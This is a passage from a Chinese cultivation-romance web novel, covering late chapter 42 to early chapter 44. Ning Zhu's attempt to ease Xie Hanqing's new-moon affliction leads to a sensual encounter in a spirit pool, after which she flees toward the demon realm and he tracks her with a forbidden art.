于是宁竹说:“马上又是朔日,也不知道我给谢师兄搜罗来的那东西管用不管用。” 是的,她前段时间在幽冥集市搜罗来了一个好东西,听说是噬魇兽的髓液,将这玩意儿加到水中,人浸泡在其中便能麻痹感官,不会感受到任何痛苦。 据说从前高阶洗髓丸里面就加了这个以降低修士的痛苦,只是后来灵气变得稀薄,噬魇兽渐渐灭绝,高阶洗髓丸便改用了其他原材料,只是效果到底是不如噬魇兽髓液。 宁竹能搞到这么一小瓶也是机缘巧合运气好。 谢寒卿垂着眼睫:“宁师妹费心了,试一试便知。” 宁竹还是不放心,谢寒卿朔月发作的样子她是见过的,未免伤人,他会故意将自己束缚起来。 但万一封闭了感官,又泡在水中,出事怎么办? 于是宁竹说:“谢师兄,下个朔月我在一旁陪着你吧。” 隔了许久,谢寒卿意味不明地嗯了一声。 谢寒卿速度很快,两人没花多长时间便到了宁竹的洞府。 今晚天空中弥漫着一层薄雾,月色清冷,映在小仙君脸上,叫他整个人透着一种冷淡的神性。 每每这个时候宁竹总会生出感慨。 这就是男主,建模都比旁人精细。 她收回自己的目光,老老实实对他招了招手:“谢师兄,今天谢谢你送我回来,夜色已深,快回去休息吧。” 谢寒卿上前一步,将手中的油纸包递给她。 宁竹一愣,这个是给她的? 她早看他提了一路,但她没问。 谢寒卿没有说话,足尖一点踏上剑,很快离开。 宁竹站在原地目送他消失,才打开了那枚油纸包。 是码得整整齐齐的俞记桂花糕。 桂花糕易碎,这一包却被人保护得很好,每一块都雪白完整。 宁竹捻起一块含在嘴里,绵密清甜的口感在舌尖化开。 她美得眯起了眼。 难怪谢师兄会出现在幽冥集市,想必是做完任务刚好路过俞记,才去特意买上了这么一包点心吧。 俞记是一对老爷爷老奶奶开的,味道极好,每天只供应那么一点儿,排队的人络绎不绝,宁竹虽然馋,但也很少花时间去排队。 谢师兄真好! 另一边,谢寒卿却没有直接回自己的洞府。 剑尖方向一转,又回了幽冥集市。 陈家后宅。 一道颀长的影子无声投映在床榻前。 眼瞳冷淡的小仙君抬起手,点在陈野眉心。 记忆如同流水滔滔不绝翻涌而来,唯独某一段,像是被什么东西干扰了一般,如同雾中花,水中月,让人分辨不清。 谢寒卿眉心微拧。 他试探着拨开迷雾去触碰那段被人刻意隐藏起来的记忆,陈野却忽然口鼻流血。 谢寒卿及时收手。 虚空之中,仿佛有人在嘲笑他。 不是要探查么?继续啊,不必管你眼前之人的死活,便可以查探到你想要的一切。 动手啊。 动手…… 谢寒卿盯着陈野看了片刻,扭头去了其他陈家人的屋子。 陈家人很是古怪。 每个人都有一段记忆像是被人刻意遮掩了起来,如果执意要窥探,必先毁人心神,让人痴傻。 会用搜神术查看记忆之人,多半不会管对方死活,毕竟搜神术本就是禁术。 但谢寒卿是个例外,他将搜神术使用得炉火纯青,可以在避免伤人的情况下查看到他想要的记忆。 这样的手段……倒像是特地来针对他的。 对方似乎笃定他不愿意滥杀无辜。 陈家一家人,除了那个孩童,都是普通人。 谁会盯上这样一家人?还是说对方别有目的,意在通过他们接近什么人? 魔渊开口,各地异动频生,陈家的古怪,约摸与魔修脱不了干系。 谢寒卿盯着陈家人,思索片刻,划破指尖,在半空中绘下一个复杂的符箓。 “破。”清冷的声音响起。 一缕诡异的红色絮状物从陈家人口鼻中溢出,谢寒卿抬手之际,絮状物立刻烟消云散。 谢寒卿盯着絮状物消失的地方,联想起什么东西。 是曲亦卓。 在幻境中时,他查探过曲亦卓的识海,那里像是被什么东西毁坏过,黑雾笼罩。 当时没注意到的细节此刻忽然浮现。 在那黑雾中,便好像飘散着这样的红色絮状物。 这是什么? 既不是元神附身,也不是夺舍,就能无声无息操控一个人? 谢寒卿眸光转冷。 有这样能力的……想必便是那位还未打过照面的魔尊,弃苍。 是他们疏忽了。 短短数月便能将魔域建立成形,对方的能力……只在他们想象之上。 魔尊能无声无息操控凡人,又不知有多少地方都被渗透了,要将此事立刻回禀给师尊。 片刻后, 谢寒卿踏上了寒卿剑。 他悬在半空中,掸去指尖鲜血,匆匆离开。 与此同时,魔域。 靠在榻上的江似猛然睁开眼。 他偏头感应着什么,却发现他感受不到陈家人的存在了。 江似觉得古怪,以欲念操控人,从未出过差错。 修士筑起识海,有一定抵挡之力,凡人却是没有的。 他操控凡人,易如反掌,可以叫凡人成为他的傀儡,可以遮蔽凡人的记忆叫旁人无法窥伺…… 但偏偏方才他感应到陈家人与他的联系被切断了。 死了? 江似的眼眸中浮现出不快。 联系被切断后,他无法轻易元神附身。 无妄海风沙四起,一道鬼魅般的身影如同掠过的疾风。 也许只是几息之间,江似便出现在了陈家后宅。 乌云蔽月,少年立在屋顶,俯瞰着熟睡中的陈家人。 他唇角带着笑,一双幽深的眸中却没有半点笑意。 是清灵血阵啊。 江似嗅着空气中留下的一丝淡淡血腥味,舔了舔唇角。 谢寒卿,又是你。 他留在陈家人身上的印记已经被斩断,此时若是再强行操控,会触发谢寒卿留在他们身上的清灵血阵。 江似唇边的笑意一点点扩大。 看来他刚刚安插的一批眼线,马上就不能用了。 江似脸上没有慌乱,没有焦躁,只一双冷沉的眼望进暗夜中。 月色冰冷,却映不进他的眼瞳半分。 *** 今日是个艳阳天,冬末春初,风已经带上了几分暖意。 宁竹从练武场退下来,一身是汗拿出自己早早准备好的雪梨饮,吸溜了一大口。 清甜不腻的液体顺着喉咙滑下,舒服极了。 她喝了几口,听到旁边的弟子凑在一起讨论。 “……听说忘机真人带人改良了清灵血阵,现在只需要佩戴一个清灵血阵符,就可以避免被魔修侵吞神识。” “也不知道什么时候会发给我们,我这段时间都不敢离开宗门,生怕被神不知鬼不觉地控制了。” 旁边不少弟子都在附和:“是啊,太吓人了……” 前几日谢寒卿意外发现魔修可以操控人的心智,于是各大宗门都展开了一场盘查,竟发现了不少被魔修入侵心神的弟子。 最令人毛骨悚然的是,这些弟子修为都不低,甚至有几个元婴修士。 一时间人人自危。 清灵血阵可以有效切断魔修的控制,但这个阵法极为复杂。 若是只需要佩戴一个符箓,那便可以让大家安心了。 宁竹一边吸饮料,一边听弟子们闲聊。 关于清灵血阵……她恰好翻看到原著里的这一段。 清灵血阵是有效,但这个阵法需要取高阶修士的心头血来制作,刚开始并不是所有人都能供应上的。 而且她记得后来出了一件事。 白家一个长老堕魔,用他的心头血做成的清灵血阵符反而成为魔修的媒介,佩戴那一批符箓的弟子尽数堕魔,标志着这个符箓也不再安全。 所以后期各大宗门提防魔域提防得很辛苦。 毕竟那可是弃苍,数千年来魔域最强的魔尊。 当然那都是很后面的事情了,在血洗天玑山之后。 宁竹那时候还在不在这里都不一定。 不管怎么说,现阶段清灵血阵的确是防范魔修入侵的最有效手段。 “宁师妹。” 一道清冷的声音打断了宁竹的思绪。 众人纷纷循声望去,谢寒卿不知何时出现在练武场。 弟子们凑在一起嘀嘀咕咕:“谢师兄来找谁?” “那个,叫宁竹的,听说她同谢师兄私甚密……” “不是个外门弟子吗?怎么能同谢师兄这般亲密……” “够了!背后嚼人舌根算什么,都别说了!”也不知是谁出声呵斥。 宁竹常在练武场倒卖些炼丹炼器的材料,有时候弟子们也会从她这里买些丹药之类的,免得去幽冥集市再跑一趟。 魔渊开口后,许多材料价格都飞涨,宁竹给同门们的价格却维持着一个还算合理的范畴,不少人受了她的恩惠,这个时候也愿意出来帮她说话。 “不知道之前秘境中宁竹救过谢师兄吗?两个人关系好点怎么了,我看你们就是嫉妒……” 宁竹和谢寒卿结下“同心契”的事被刻意遮掩,众人并不知道,对外只说是宁竹机缘巧合救了谢寒卿。 议论纷纷中,宁竹坦坦荡荡起身朝着谢寒卿走去:“谢师兄找我有事吗?” 小仙君眼瞳淡漠,扫了众人一圈。 分明不掺任何情绪,但所有人都生出颤抖之意。 霎时鸦雀无声。 谢寒卿对宁竹说:“走。” 两人很快离开了练武场。 待到一片无人的开阔之处,谢寒卿才对宁竹说:“宁师妹,这个给你。” 小仙君摊开手掌,一只通体透亮的手镯静静躺在他手心。 宁竹下意识感慨:“好漂亮!” 这玉镯极细,玉质洁白剔透又细腻,里面像是晃着一汪极为清澈的水。 谢寒卿说:“玉镯里封印了清灵血阵,可以助你抵挡魔尊的控制。” 谢寒卿将玉镯递给她。 这玉镯触手生温,还蕴藏着丰沛的灵力。 似乎看出宁竹的犹疑,谢寒卿主动开口:“是用那枚凤和白玉簪改的。” 加了极星水魄而已,价值已经远超原来那枚簪子了。 只是谢寒卿不会告诉她。 宁竹有点惊讶。 “师姐的一番好意,收下吧。” 宁竹知道以白暮的性子,送出去的东西就没有拿回来的道理。 她只好接过镯子,心里盘算着给白暮送个什么礼物。 白暮……死在了血洗天玑山的时候,她记得她是为了替谢寒卿挡剑而亡。 宁竹思索了片刻,眼眸一亮,有了!她要送她一件漂亮的高阶防御法衣! 至于到时候如何让白暮穿上,她可以拜托谢寒卿,让谢寒卿以自己的名义送给白暮,她定然不会拒绝的! 宁竹在心里将此事盘算清楚,没什么负担地收下了镯子,笑盈盈说:“多谢师兄,也谢谢白师姐。” 谢寒卿见她将手镯套在了左腕上,尺寸正好。 她右腕上,那条拘银链依然没有取下来,此时松松缠在少女白皙的腕骨上,很是刺眼。 谢寒卿垂眸掩下种种情绪,淡声说:“宁师妹,马上就是朔月,要麻烦你了。” 宁竹认真地点点头:“不麻烦的,这一次刚好可以验证噬魇兽的脊液有没有用。” “……好。” 朔月就在几日后。 宁竹这期间一直在为去魔域做准备。 她后来又去了幽冥集市一趟。 幽冥集市鱼龙混杂,死人乃是常有的事情,殷娘和掌柜的死没引起任何波澜。 只是宁竹奇怪,那一日在背后出手相助之人到底是谁? 查不到便不查了,就当对方是殷娘的仇家吧,她运气好,瞎猫碰上死耗子了。 宁竹又去了一趟陈家。 这次陈野不在铺子里,听陈掌柜说陈野外出去寻找材料了,恐怕要几个月时间才会回来。 宁竹想,那便等她从魔域回来后,再当面向他道谢吧。 朔月的前一日,宁竹关起屋门,再次仔细检查了一遍她要带的东西。 她打算朔月过后就动身前往魔域。 各式各样的丹药法器铺满了小屋,凭借这些东西,她就是去归墟也不会生怯。 只是不知道这次从魔域回来后,这些东西还能剩多少? 赚钱不易,花钱容易啊啊! 宁竹暗自握紧拳头,还是得再努力搞钱!! 宁竹清点完物资,又去食舍吃了顿美美的饭,待到傍晚的时候,她挑了条小路去了谢寒卿的无咎洞府。 无咎洞府外布有结界,未经主人允许,在外面只能看到漫无边际的竹海。 今日是个好天气,霞光晚照,竹海蔚然,远山含黛,云雾缥缈。 谢寒卿的攀云峰视野极佳,站在此处能将整个天玑山都收之于眼底。 宁竹站在外面欣赏了一下美景,听到后面有人唤她:“宁师妹。” 宁竹转身。 白衣胜雪的小仙 君站在万道霞光中,眉眼清冷,美好得像是将融的雪。 宁竹弯眼笑道:“谢师兄,你怎么亲自出来了。” 谢寒卿只是轻声问:“用过晚膳了吗?” 宁竹点头:“在食舍吃了。” 谢寒卿将人带到竹林幽径中,道:“离子时还有一会,宁师妹先休憩下。” 很快他们来到庭院中,宁竹猝不及防看见亭子里琳琅满目的食物,惊得张大嘴。 灵炉上慢慢烘烤的是珠羽雉,片成薄片的飞溪鲈鱼也被摆成好看的形状,甚至旁边还放着点缀了西月莓的酥山…… 这一桌子用的全是灵兽灵植,得花了多少钱啊! 宁竹忽然很后悔,她目光幽幽看了谢寒卿一眼。 谢师兄真是的,也不早说,这样她一定连中午饭都不吃,就等着来这里蹭上一顿! 当然……她现在也可以! 对上宁竹期盼的视线,谢寒卿说:“宁师妹先用一枚消食丸吧,但也莫要贪多,免得伤身。” 谢寒卿懂她! 宁竹摩拳擦掌,美美地又吃上了一顿。 直到星河倒转,夜幕低垂,她才揉着肚子起身。 吃到后面宁竹还从乾坤袋里掏出了她特地淘来的松木炭,这种炭烤出来的食物有种松木香,不要太好吃。 就是烤的时候烟比较大,宁竹有点不好意思地看向谢寒卿,在对方默许一切的眼神中逐渐迷失自我。 于是吃到最后,两人身上都沾染了一身味道。 宁竹抛了个法诀净身,谢寒卿忽然开口:“无咎洞府有客院,从未有人住过,宁师妹可以去沐浴。” 宁竹的确还保留着凡人的习惯,抛了法诀收拾还不够,她更喜欢洗个香香的澡。 于是宁竹欣然接受:“好!我去啦!” 换洗衣物乾坤袋里都有,当修士就是好! 可能是来替谢寒卿收拾的弟子摆放的,宁竹发现客院里竟然还有沐浴盐,味道和他身上的还挺像,是冷调的松木香。 宁竹洗了个香香的澡,身上都沾染了好闻的松木香。 她用灵力烘干头发,来到灵泉旁时,谢寒卿已经提前泡进水中了。 热气氤氲,小仙君清冷的眉眼被染上一分湿,透出几分脆弱感。 他和衣入池,白衣贴在身上,勾勒出身体的线条。 平日里看似清瘦,此时方知蛰伏在衣裳之下的是一副多么有力的身体。 谢寒卿抬眸看来,剔透的瞳孔掩映在蒙蒙水汽之下,好似起了雾的湖。 少了疏离,多了……色气—— 作者有话说:这不发生点什么说不过去吧[三花猫头] 第43章 宁竹被自己的想法吓了一跳, 忙摇头将奇怪的想法甩开。 她弯腰拿起早早放在一旁的噬魇兽脊液,对谢寒卿说:“谢师兄,马上就到子时了。” 宁竹摩挲着冰凉的瓶身,有点紧张。 “无碍, 宁师妹放心倒入便是。”谢寒卿的声音一如既往, 冷淡又平静。 宁竹的紧张一点点消散:“好。” 子时到了。 宁竹取了几滴噬魔兽脊液, 倒入了灵池。 据说这玩意儿劲大, 用量一定要小心。 无色无味的液体融入灵池中, 宁竹仔细盯着谢寒卿。 小仙君忽然闷哼一声, 额角青筋毕露。 池水清澈, 宁竹能看到谢寒卿是如何死死抓住自己的双膝。 想必很痛吧。 宁竹眉头紧皱,眼睛都不敢眨, 一动不动盯着他。 好在似乎噬魇兽的脊液起了作用,谢寒卿死死抓握膝盖的手缓缓松开, 颤抖的身子也一点点松缓。 宁竹松了一口气, 太好了,有作用! 然而下一刻,谢寒卿忽然睁开了眼。 小仙君的眼尾泛着不正常的红,直勾勾看着宁竹。 宁竹有点疑惑:“谢师兄?你怎——” 一股凛冽的剑气席卷而来, 勾住她的腰,将她猛然往池中一带! 水花四溅,剑气小心护着她,将人揽到谢寒卿身前。 两人紧密相贴。 池水激得宁竹轻轻颤抖。 她浑身都湿了,被谢寒卿牢牢桎梏在怀中, 隔着薄薄衣料,几乎能感觉到对方灼热的体温。 宁竹眼睫濡湿,清澈的水珠一滴滴往下滑落, 像是被吓哭了一般。 眼前的谢寒卿气息全然变了,根本不像她认识的那个人。 宁竹将胳膊横在自己面前,试图隔开两人的距离,声音也带上哭腔:“谢,谢师兄,是我,脊液是不是出什么问题了……” 笼着少女的手臂微微收紧,也在颤抖。 清冷似雪的面容像是被灼热的阳光烘烤,几乎要融化成一汪春水。 谢寒卿鼻尖缀着一层细汗,眼前重影一片,少女微微扬起脸,纤弱白皙的颈,似乎一口便能咬断。 她紊乱的呼吸,身上缭绕的冷香,如同蚀骨毒药缭绕于鼻端。 经脉肺腑在沸腾,灼烧之意几乎要将他融化,连神魂都在颤栗。 她似乎哭了,用带着颤的声音轻轻唤他:“谢师兄,谢师兄……” 分明是乞求,却如同鹂鸟吟哦。 谢寒卿死死咬住舌尖,一遍又一遍默念清心咒。 血腥味散开的那一刹,他用剑气卷住少女的腰,将人往岸上送。 然而下一刻,谢寒卿瞳孔一缩。 宁竹指尖不知何时生出丝丝缕缕的红线,红线如同蛛丝,顺着谢寒卿的肩膀攀爬而上,挑开他的衣领,缠上他的腰腹,一直往下探去…… 剑气溃不成军,宁竹跌落在池中。 她浑身都湿了,撑在池壁上,红唇微张,眼神迷离看着谢寒卿。 水珠顺着少女纤长的眼睫滴落,划过她泛着粉的脸颊,滴答,滴答,每一声都无异于惊雷入耳。 她稍稍偏了下头,似乎很难受,用沙哑的嗓音唤:“谢师兄……” 红丝包裹住谢寒卿,如同情人的手在抚弄。 宁竹声音带上哭腔:“谢师兄……我好难受。” 没有人能看清谢寒卿是怎么靠近的,下一秒,他托住宁竹的后颈,俯身深深吻了下去。 唇齿相缠。 分不清是谁更主动。 红丝攀上小仙君的每一寸肌肤,不停收紧,缠绕。 谢寒卿将宁竹死死笼在怀中,少女的腰弯折成一种惊异的角度。 谢寒卿的唇破了。 少女像是不知餍足的小兽,啃噬舔咬,要将面前之人吞吃入腹。 两人的眼神都已经失焦。 宁竹的衣带不知是何时散开的。 大片莹白的肌肤裸露在空气中,微微颤抖着。 红丝不满一般,缠上谢寒卿的衣服,啪的一声,小仙君的衣服被撕裂成万千碎片。 谢寒卿低垂眼眸,俯身,咬上少女的锁骨。 两人皆闷哼出声。 宁竹藕白的手臂无力地圈在谢寒卿的脖颈上,似是痛苦,咬着红唇呜咽。 就在这时,天际忽然飘起雪。 雪落下的速度极慢,晃晃悠悠悬在半空中。 雪花停顿片刻,忽然凝成一个白衣清冷的小少年。 小谢寒卿脚下踉跄,双指合并凝出剑气,直直往谢寒卿眉心刺去! 一瞬的清明就够了。 谢寒卿眸光冷肃,剑气将周身缠绕的红丝逼退,他抬掌击向宁竹的丹田处! 电光石火间,红丝全部收拢,宁竹被剑气缠绕着送到地面。 谢寒卿也从灵池中飞出,哇地吐出一口血来。 两人挨在一起,齐齐昏迷过去。 小谢寒卿立在原地,看了两人片刻,又化作漫天飞雪,很 快消失不见。 宁竹再度醒来的时候,觉察到整个人都被厚实柔软的毯子包裹着。 她动了动手指,想起了那个荒唐的梦。 还好是梦。 宁竹缓缓睁开眼,忽然僵住。 头顶垂着青莲星月帐,旁边的鹤颈香炉中青烟袅袅。 这不是她的洞府。 宁竹猛然掀开被衾坐起身。 她想到什么,扯开了自己的衣领。 一圈刺目的红,还未来得及消散。 宁竹眼前发黑,险些栽下榻来。 她坐在榻上足足缓了半刻钟,才慢慢平静下来。 冷静。 虽说出了点小岔子,但这不是还没到最后一步嘛,只要彼此都装作没发生,就没有问题! 宁竹到底是个现代人,虽然说穿书前刚刚结束高考,连男生的手都没牵过,但现代社会信息大爆炸,没吃过猪肉还见过猪跑。 如果宁竹没记错,谢寒卿直到最后也依然是金刚不坏之身。 她只能庆幸,还好没有到那一步,不然罪过就大了! 宁竹整理好情绪,准备装作一切如常跟谢寒卿打个招呼,离开无咎洞府。 但在看到桌案上留下的信笺后,她整个人都裂开了。 谢寒卿字如其人,金钩铁划,飘逸大气。 ……如果忽略上面的内容。 “宁师妹,容我稍作准备,择日便与你结为道侣。” 宁竹在原地僵持了足足五分钟,才见鬼似的丢掉信笺夺门而出。 谢寒卿并不在洞府中。 宁竹一口气跑到入口处,忽然又觉得自己这样走了不太好。 她从乾坤袋里掏出笔墨,唰唰写下一封信。 大意就是希望谢寒卿把这个事情忘记,她不在意,两个人以后还是以师兄妹的身份相处,现在她有事要下山一趟,可能要很久之后才回来。 宁竹没敢用传音符。 以谢寒卿的速度,恐怕收到传音符的下一刻就能赶过来了。 虽说不在意……但宁竹现在也不好意思见他。 抱着人家又啃又咬吃干抹净的,怪尴尬的。 宁竹想了想,又心虚地从乾坤袋里掏出一瓶上好的伤药。 嗯……她记得咬得挺狠的,希望谢师兄不要被别人看出端倪啊!! 宁竹麻溜地回了洞府,鬼鬼祟祟把东西收拾好,门一锁,转头就下了山,朝着无妄海的方向赶去。 梦京,穹苍仙阁。 已是初春,路边犹然残雪未消,落凰花大片大片开着,整座城池都被掩盖在一片烈焰般的火红中。 寒卿剑无声掠过落凰花树,降落在碧落台。 碧落台已经许多年无人住过,哪怕有人定期清理打扫,也依然透着一种荒芜之感。 谢寒卿径直走到后院,掌心贴上墙壁上的九头兽首,伴随着嘎吱嘎吱的声响,一道暗缝开启。 谢寒卿垂眸走入暗室。 室内并未掌灯,却被各式各样的宝物映亮。 谢寒卿的目光无声从那些价值连城的宝物上划过。 高阶法器,丹药,法衣,剑经,甚至是灵石应有尽有,这里的东西随便拿一些出去,便可以养活一整个小宗门。 宝物上积了灰,谢寒卿施诀拂过,再挥袖,所有宝物都被收入乾坤袋中。 暗室失去光源,霎时陷入一片漆黑之中。 谢寒卿便在黑暗中无声伫立了片刻。 这些……都是当年母亲从姜家带过来的嫁妆。 母亲被掳走后,这批宝物也不翼而飞,谢凌风这些年一直以为是母亲卷走了这批的宝物,却不知,这些东西自始至终都藏在碧落台。 藏在了一个只有他和母亲能打开的地方。 谢寒卿曾以为自己永远不会动这批东西,但现在…… 想到少女抓着灵石偷笑的表情,他的眉眼稍稍温和了些。 既然要与她结为道侣,自然是要竭尽所能。 他不是一个挥霍的人,这些年也攒下不少身家,加上这些……应该够了。 谢寒卿拢住乾坤袋,转身离开碧落台。 谢寒卿已经许久没回梦京。 当谢凌风出现在面前时,他并不惊讶。 整个梦京都在他掌控下,他发现自己回来了也很正常。 谢寒卿不咸不淡行了礼,欲要离开。 “站住。”谢凌风声音阴沉,“回来一趟就要走?你回来做什么?眼里还真是只有天玑山,没有谢家!” 谢寒卿声音很淡:“梦京有谢家主坐镇,自然不需担心。” 谢凌风冷笑:“你是天玑山的弟子又如何,别忘了你身上流着的是谢家的血!” 小仙君眼眸剔透冷淡,面无表情看他一眼,踏上怀卿剑离开。 谢凌风遥遥看着消失在落凰花林中的谢寒卿,拂袖一扫,一株双人合抱的落凰花应声而倒,激得尘土飞扬。 他眼神阴翳,面部肌肉微微抖动着。 谢寒卿速度极快,冷冽寒风将衣袖鼓动得烈烈作响。 他整个人便好似天际随风飘舞的一片雪,随时随地可能消散在云间。 “寒卿!”忽有人从身后唤他。 谢寒卿速度稍稍放慢,姜思无赶上来大笑道:“听说方才你和谢家主大吵了一架?” 谢寒卿只是淡淡看着前方:“表兄来梦京做什么?” 姜思无见他不想提,便岔开话题:“是来商议清灵血阵的改良。” “这阵法到底是要高阶修士的心头血为引,那么多弟子都需要,一时也制作不过来,前几天我在南陵遇到白暮,她说白家在尝试改良清灵血阵,想在符箓中封存剑意来代替高阶修士的心头血。” “只是你也只知道,剑意也不是人人都使得出的,你们梦京高阶剑修居多,我便过来问问谢家主能不能借些剑意。” 他摊摊手:“只是不巧,正好碰见谢家主大发雷霆呢,老虎胡子摸不得,我还是改日再来一趟吧。” 谢寒卿看他一眼。 姜思无便这么笑盈盈地瞧着他。 谢寒卿抬手,数道气流在指尖飞窜,惊扰流云。 他将厚厚一沓符纸递给姜思无:“这些剑意,表兄且先拿去试。” 姜思无坦然收下:“那便多谢寒卿了。” 解了燃眉之急,姜思无此时有闲心问:“我倒是好奇,你和谢家主是为什么争吵的?把他老人家气成那样。” 谢寒卿没有回答。 姜思无又说:“你啊你,到底是谢家人,没必要搞得如此僵硬。” 怀卿剑速度加快,把姜思无甩在了后面。 姜思无摇头笑了下,加快速度追上去:“诶!等等我!” 两人很快到了天玑山下。 谢寒卿停在半空中:“我到了。” 姜思无笑着说:“我知道。” 谢寒卿掀起眼帘:“表兄为何要跟着我。” 姜思无啪一声打开折扇,在手中晃了晃,一双丹凤眼眯起来:“寒卿,你今天看上去心情很好。” 谢寒卿微微怔了下,他……有那么明显么? 姜思无用折扇点了点他的肩:“无缘无故为什么要回梦京?你是有什么事瞒着我吧。” 谢寒卿难得没有反驳他。 他只是调转方向,朝着攀云峰飞去。 姜思无握住折扇,勾起唇角。 得,他不说,他跟上去便是。 两人一前一后降落在无咎洞府前。 云霞灿漫,竹海涛声一片,与他离开的时候无异。 谢寒卿抬手拨开薄雾,脚步有些仓促,姜思无紧随其后,他也没阻止。 与宁竹结为道侣的事,他无需请示任何人。 但这个时候……或许他心底也希望有一个所谓的亲人可以见证。 短短一段路,谢寒卿却想了许多。 想他在魍魔谷与她的初遇,想在炎陵庄他们并肩对付红丝,想秘境中那场无人知晓的幻梦,也想到昨夜…… 已经能看见院门了。 门匾之上“无咎”两个字游龙走凤,飘逸大气。 谢寒卿却在想,这两个字乃是他上山之时师尊为他写下。 寓意深长,却不够柔和。 待她住过来,还是改一个名字为好。 叫尽欢,还是岁喜? ……罢了,还是让她挑一个自己喜欢的。 谢寒卿抬手推开了院门。 院里廊庑曼回,精致典雅,却失了一点生气。 谢寒卿想起宁竹洞府门前那些生机蓬勃的植物,又觉得该在院中种一些植物。 流樱花花开时如同粉雪,她应该会喜欢。 谢寒卿一步步朝着屋子走去。 屋门半掩,看来她已经起身了。 走时 给她备下了一些茶点,也不知道她会不会喜欢? 姜思无跟在谢寒卿身后,面色变得有些古怪。 这院落里并没有人,寒卿怎么像是怕惊扰到什么一样? 谢寒卿的指尖触上门环。 门吱呀一声开了。 那一刹,因为太过紧张而被蒙蔽的感官忽然清明起来。 屋里没人。 谢寒卿的心脏重重往下沉。 捏住门环的手微微泛青,神识如同海水铺开,将整个无咎洞府都包裹起来。 没有她。 宁竹……已经离开了这里。 谢寒卿僵硬地转动了下眼珠,看到了桌案上一枚小小的白瓷瓶,还有下面压着的那封信。 姜思无已经觉察到不对劲:“……寒卿?” 信笺飞来,白瓷瓶滚落在地,发出清脆一声响。 姜思无盯着谢寒卿的背影。 所有情绪都消失了,面前之人似乎变成了一具傀儡,无悲无喜,无怒无惧。 信笺化为齑粉。 姜思无试探着开口:“……寒卿?” 小仙君沉默不语,只有风轻轻拂动着门扉,发出吱呀轻响。 许久之后,谢寒卿回过头来:“我有事需要下山一趟,表兄还请自便。” 眼前之人唇边甚至还带着一丝浅笑,仿佛方才姜思无觉察到的不对劲都是幻觉。 姜思无仔细打量着他的表情:“……那封信?” 谢寒卿淡声说:“没什么。” 姜思无知情识趣,点点头:“那我先走了,你……” 他到底是没说出口,他这个表弟,自幼便是这么一副模样,情绪鲜少外露。 姜思无拍拍他的肩,转身离开。 谢寒卿目送姜思无消失在竹林中。 他枯站许久。 风摇竹动,喧然一片。 一片竹叶被风打落,划过他的脸颊,带来一点刺痛感,谢寒卿才缓缓抬眸。 小仙君冰雪琉璃般的眼眸更为冷淡,仿佛一丝情绪也无。 他忽然动了,如同一道风,拂过琼林枝头,刺破天际流云,整个人几乎要与浅淡的天色融为一体。 宁竹的洞府。 门前落花被惊扰,在地上轻轻打起旋儿。 门锁应声而落。 谢寒卿踏进屋中。 整洁,有序,常用的东西都还在。 小仙君紧绷的背脊稍稍放松了一些。 他的目光落到靠墙的衣橱上。 昨夜荒唐,那些衣物都被他统一处理得干干净净。 谢寒卿伸手打开了衣橱。 天玑山掌门首徒,修真界年轻一辈中的翘楚,便这么面无表情地从衣橱中取出了一件小衣。 淡粉色,像是流樱花根部最浅淡的颜色。 形状……有点奇怪。 寻常女子的小衣是这样么? 手中的小衣布料稀少,胸部微微隆起。 让他忽然想起昨夜水中,被淋湿双翼的雏鸟握在掌心时的绵滑。 谢寒卿垂下眼眸,掩住燥意。 松风水月的小仙君低下头,将小衣拢在掌中,仔细嗅闻。 属于宁竹的气息缭绕在鼻端。 谢寒卿掀起眼帘,瞳孔忽然微微变红。 眼前视野变了。 无数道深浅不一,颜色各异的气体飘浮在周围,似乎周遭一切都是由这些气体所构成。 小衣之上缭绕着一缕淡淡的粉色,如同丝线,缭绕到远处。 谢寒卿的视野便随着这缕丝线一直往远方延伸。 越过天玑山,穿过幽冥集市,最后指向一个地方——无妄海。 谢寒卿闭上眼。 猛然咳出一口血来。 小衣溅上了星星点点的血,如同红梅绽开。 谢寒卿抬起手背,擦去唇边的血渍。 小仙君瞳孔的红在一点点褪去,冷白如玉的脸颊上沾了血污,生出莫名的妖冶感。 没有人知道这位仙门首徒是如何学会这么多禁术的。 谢寒卿正欲将小衣销毁,动作忽然停滞。 小衣溅上了他的血。 禁术仍未彻底消退,他看见一缕黑色的气体与粉色交织缠绕在一起。 是属于他们两人的气息。 谢寒卿微微拢起手掌,将小衣抛入了乾坤袋。 他足尖轻点,踏破残月,朝着一个方向直直追去。 女孩子在此事上羞涩是正常的。 没关系。 他来找她便是—— 作者有话说:嘿嘿 第44章 无妄海整日弥漫着吹不尽的风沙。 若无人相引, 进了这片沙漠的人,轻易便会落得个尸骨无存的下场。 宁竹已经在无妄海边上徘徊了好几个时辰了。 她相信陈野没骗她,只要敢进无妄海,魔尊很可能会听到你的心声。 但……万一陈野一家人只是运气好呢? 宁竹可没忘记原著里是怎么描述这位魔尊的。 恶贯满盈, 杀人无数, 暴戾恣睢, 阴晴不定。 怎么看都不是个能轻易招惹的主。 宁竹纠结啊。 她来魔域只是想找人, 想确认她的朋友们还有没有活着。 跟陈野家人那种破釜沉舟的心态自然不同, 魔尊真的会搭理她吗? 万一一个不开心, 把她也变成魔修怎么办? 宁竹哆嗦了下。 众所周知, 魔修最后可没什么好下场,谢寒卿可是带人屠尽了魔域老小。 还是草率了。 宁竹找了块岩石蹲在上面, 愁眉苦脸。 背后忽然响起脚步声。 宁竹毛骨悚然,飞快跳到岩石后面, 握住流烟剑。 她身后不知何时站了一个少年, 一身陈旧的黑衣,连脸都被黑色的布条缠绕起来,只露出一双眼。 那双眼睛冰冷而麻木。 宁竹掏出一个防御法器,转身就要跑, 对方忽然开口:“你是天玑山的弟子吧。” “我没有恶意。” “我只是想找人帮忙,刚好看见你在这里。” 方才的慌乱过去后,宁竹这才发现,对方身上没有魔气。 ……他是修士? 宁竹回头。 少年约摸才有十四五岁的样子。 他指了指宁竹的腰带。 宁竹懊恼地揉了下头发,真是百密一疏, 这根腰带是天玑山发放的,尾部会有一枚蝇头小字,乃是“天”字的刺绣。 宁竹要来魔域, 自然换了一身行头,只是没想到随手抓取的腰带暴露了身份。 这少年实在是敏锐。 她没有放松警惕,而是问:“需要帮什么忙?” 少年直视她的眼睛:“你想进魔域,对吗?” 宁竹不正面回答:“要帮什么忙?” 少年说:“我可以带你进去,报酬是需要你帮我去珠玑阁买三枚碧血回春丹。” 宁竹眼角一跳。 碧血回春丹的确只有珠玑阁有,因为这味丹药需要用到天玑山特有的碧落莲,而这种莲花只有掌门所在的绝云峰才有。 因为稀少,所以碧血回春丹十分昂贵,一枚要十五万灵石,这少年开口就是三枚…… 他衣着陈旧,却舍得花那么多灵石,想必是有十分在意之人垂危,需要用这丹药续命。 